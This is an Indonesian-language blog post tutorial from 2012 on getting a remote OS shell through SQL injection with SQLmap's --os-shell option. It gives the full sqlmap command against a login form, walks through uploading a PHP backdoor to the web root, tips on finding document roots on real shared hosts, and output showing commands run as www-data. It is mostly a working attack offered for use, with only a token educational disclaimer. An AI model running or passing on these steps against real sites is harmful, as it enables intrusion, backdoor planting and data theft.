Searching...
May 7, 2012
Monday, May 07, 2012

Spawn Shell With SQLmap

Belakangan ini, tema post yang saya berikan selalu berbau SQL Injection. Saya harap pembaca tidak bosan membaca tutorial yang saya berikan. Kali ini saya akan menjelaskan bagaimana cara melakukan remote shell dengan metode SQL Injection. Dan pada kesempatan kali ini, saya akan menggunakan SQLmap.

Pada tutorial ini, pembaca mungkin akan menyadari apa yang membuat SQLmap lebih baik daripada alat SQL Injection yang lainnya. Karena tool ini benar-benar melakukan hal-hal yang sulit dijelaskan bagaimana cara kerjanya. Namun saya masih memahami sedikit dari metode yang digunakan SQLmap.

Metode Spawn Shell

Attacker -> SQLmap -> Upload [Shell Code] -> Victim

Alur di atas menjelaskan bahwa attacker menggunakan SQLmap untuk melakukan SQL injeksi, dan mengupload Shell Code pada korban. Hebatnya, anda tidak perlu malakukan log ini ke situs ini untuk mengupload shell code milik anda. Kemudian:

Attacker -> SQLmap -> Shell Code [Arbitrary Command] -> OS Shell

Sementara alur diatas menjelaskan bahwa attacker menggunakan SQLmap untuk menghubungkam dirinya ke backdoor yang telah ter-upload ke korban, dan mengirimkan perintah shell yang kemudian dieksekusi oleh OS Shell (Command Prompt pada Windows, atau Bash pada UNIX).

Shell Code atau backdoor yang dimiliki oleh SQLmap sendiri memiliki sejumlah jenis. Diantaranya ASP, ASPX, PHP, dan JSP. Jenis ini disesuaikan pada engine yang digunakan oleh korban. Pada tutorial kali ini, saya akan menggunakan jenis PHP. Saya tetap menggunakan Virtual OS pada localhost, agar tutorial saya tidak menimbulkan kerugian kepada pihak lain.

Preparation :

  1. SQLmap (dapat ditemukan di backtrack)
EULA (End User License Agreement)
Tutorial ini memiliki tujuan edukasi, penyalahgunaan skill yang anda dapatkan dari tulisan ini, diluar tanggung jawab penulis.

Walkthorugh :
1. Ketahui celah SQL Injection pada korban

Pada tutorial sebelumnya, saya telah menjelaskan bagaimana cara menggunakan SQLmap lebih lanjut, jika tidak ditemukan parameter pada URL dengan bantuan tamper data. Jika anda belum memahaminya, saya sarankan anda membaca kembali postingan sebelumnya mengenai SQL Injection Level 4 [Part 1]

Untuk melakukan spawn shell, anda hanya perlu menambahkan parameter --os-shell pada perintah sqlmap.

Command :
<< back|track 5 R2 [~] sqlmap -u "http://10.10.1.128/checklogin.php" --data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login" --drop-set-cookie --ignore-proxy --os-shell


Opsi --os-shell ini bertujuan untuk mengupload arbitrary file ke korban, dan membuka shell baru.


2. Ketahui Engine yang digunakan oleh korban

Kebanyakan SQL injection, menyerang situs yang memiliki basic PHP, dengan database MySQL. Namun tidak berarti selalu PHP yang memiliki kelemahan. Bahawa pemrograman web seperti ASP, ASPX, dan JSP juga dapat melakukan koneksi ke database MySQL. Artinya bahasa pemrograman ini juga memiliki kelemahan (nothing is perfect). Setelah mengeksekusi perintah pada tahap satu, maka anda diharuskan untuk menentukan bahasa pemrograman web apa yang digunakan oleh korban.

Output :
[14:45:55] [INFO] trying to upload the file stagerwhich web application language does the web server support?[1] ASP[2] ASPX[3] PHP (default)[4] JSP

Karena kali ini korban saya menggunakan web aplikasi berbahasa PHP, maka saya pilih nomer 3. Tekan enter, kemudian anda diharuskan untuk menentukan, kemana file ini akan diupload?

Output :
please provide the web server document root [/var/www/]:

Pada pilihan ini, saya masukan /var/www/. Sedikit catatan untuk pembaca, dalam kenyataannya, anda akan berhadapan dengan web server dengan banyak user, sehingga document root tidak mungkin berada pada folder /var/www/. Beberapa web server, mengatur document root nya pada diretory /home/, atau /var/www/hosts, atau /var/www/vhosts, atau /var/www/[victim]. Setelah menentukan document root, tekan enter. Pada tahap selanjutnya, anda bisa membiarkan value atau jawaban kosong, cukup tekan enter sampai proses upload selesai. Jika berhasil, maka anda akan mendapat output seperti ini:

Output :
[14:46:08] [INFO] the backdoor has probably been successfully uploaded on '/var/www' - http://10.10.1.128:80/tmpbbxju.php[14:46:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTERos-shell>


3. Game Over

Jika berhasil, maka anda hanya perlu memasukan perintah ke dalam os-shell interpreter. Dan menjawab "Y" pada setiap pertanyaan yang muncul.

Output :
os-shell> iddo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output:    'uid=33(www-data) gid=33(www-data) groups=33(www-data)'



It is so powerful, isn't it?

created by : red-dragon

1 comment:

Post a Comment

 
Back to top!